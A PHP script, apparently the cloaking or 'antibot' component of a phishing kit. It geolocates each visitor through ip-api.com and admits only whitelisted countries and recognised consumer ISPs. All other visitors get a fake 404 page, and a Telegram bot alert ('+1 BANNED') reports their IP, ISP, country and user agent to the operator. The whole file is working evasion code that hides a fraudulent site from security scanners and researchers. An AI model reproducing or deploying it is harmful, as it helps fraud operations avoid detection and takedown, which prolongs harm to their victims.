<?php 

if (!isset($_SESSION)) {
    session_start();
}

require_once __DIR__ . '/config.php';
require_once __DIR__ . '/app/functions.php';

$test_mode = $test_mode ?? false;

date_default_timezone_set('Europe/Paris');
$date = date('H:i:s');
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$ua   = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';

function sendBan($org, $countryCode, $motif, $host, $ip, $ua, $date, $CONFIG) {
    $org = htmlspecialchars($org ?? 'N/A', ENT_QUOTES, 'UTF-8');
    $countryCode = htmlspecialchars($countryCode ?? 'N/A', ENT_QUOTES, 'UTF-8');
    $motif = htmlspecialchars($motif ?? 'Unknown reason', ENT_QUOTES, 'UTF-8');
    $host = htmlspecialchars($host ?? 'localhost', ENT_QUOTES, 'UTF-8');
    $ip = htmlspecialchars($ip ?? '0.0.0.0', ENT_QUOTES, 'UTF-8');
    $ua = htmlspecialchars($ua ?? 'Unknown', ENT_QUOTES, 'UTF-8');
    $date = htmlspecialchars($date ?? '-', ENT_QUOTES, 'UTF-8');

    $text = <<<EOT
<b>+1 BANNED 🔴</b>

<b>🛸 ISP ➟</b> <code>{$org}</code>
<b>🌍 PAYS ➟</b> <code>{$countryCode}</code>
<b>🕛 DATE ➟</b> <code>{$date}</code>
<b>⚠️ MOTIF ➟</b> <code>{$motif}</code>
<b>🔗 URL ➟</b> <code>{$host}</code>

<b>🌐 IP ➟</b> <code>{$ip}</code>
<b>🌐 UA ➟</b> <code>{$ua}</code>
EOT;

    sendMessage($CONFIG['bot_chat_id'], $text);
}

$visitor_ip = $test_mode ? "128.78.14.206" : ($_SERVER['REMOTE_ADDR'] ?? '0.0.0.0');

if ($visitor_ip === "127.0.0.1" || $visitor_ip === "::1") {
    return;
}

function getIpInfooo($ip = '') {
    $ipinfo = @file_get_contents("http://ip-api.com/json/" . $ip);
    return $ipinfo ? json_decode($ipinfo, true) : [];
}

$ipinfo_json = getIpInfooo($visitor_ip);

if (!empty($ipinfo_json) && ($ipinfo_json['status'] ?? '') !== 'fail') {
    $asField  = trim((string)($ipinfo_json['as']  ?? ''));
    $orgField = trim((string)($ipinfo_json['org'] ?? ''));
    $ispField = trim((string)($ipinfo_json['isp'] ?? ''));
    $country  = strtoupper($ipinfo_json['countryCode'] ?? 'XX');
    $displayOrg = $orgField !== '' ? $orgField : ($asField !== '' ? $asField : ($ispField !== '' ? $ispField : 'Unknown'));
    $haystack = strtolower(trim($asField . ' ' . $orgField . ' ' . $ispField));
} else {
    $asField = $orgField = $ispField = '';
    $country = 'XX';
    $displayOrg = 'Unknown';
    $haystack = '';
}

if (!in_array($country, $CONFIG['whitelist_countries'], true)) {
    $_SESSION['boty'] = true;
    $_SESSION['ab-message'] = 'Access Denied (Country not allowed)';
    header('HTTP/1.0 404 Not Found');
    sendBan($displayOrg, $country, $_SESSION['ab-message'], $host, $visitor_ip, $ua, $date, $CONFIG);
    die('HTTP/1.0 404 Not Found - ' . $country);
}

$ispsPath = __DIR__ . '/isps.json';
$ispsData = is_file($ispsPath) ? json_decode(file_get_contents($ispsPath), true) : null;

if (!is_array($ispsData) || !isset($ispsData[$country]['isps']) || !is_array($ispsData[$country]['isps'])) {
    $_SESSION['boty'] = true;
    $_SESSION['ab-message'] = 'Access Denied (No ISP config)';
    header('HTTP/1.0 404 Not Found');
    sendBan($displayOrg, $country, $_SESSION['ab-message'], $host, $visitor_ip, $ua, $date, $CONFIG);
    die('HTTP/1.0 404 Not Found - ' . $country);
}

$allowedIsps = $ispsData[$country]['isps'];

$valid = false;
foreach ($allowedIsps as $allowedIsp) {
    $needle = strtolower(trim((string)$allowedIsp));
    if ($needle === '') continue;
    if (stripos($haystack, $needle) !== false) {
        $valid = true;
        break;
    }
}

if (!$valid) {
    $_SESSION['boty'] = true;
    $_SESSION['ab-message'] = 'Access Denied (ISP not recognized)';
    header('HTTP/1.0 404 Not Found');
    sendBan($displayOrg, $country, $_SESSION['ab-message'], $host, $visitor_ip, $ua, $date, $CONFIG);
    die('HTTP/1.0 404 Not Found - ' . $displayOrg . ' - ' . $country);
}

$_SESSION['boty'] = false;

?>
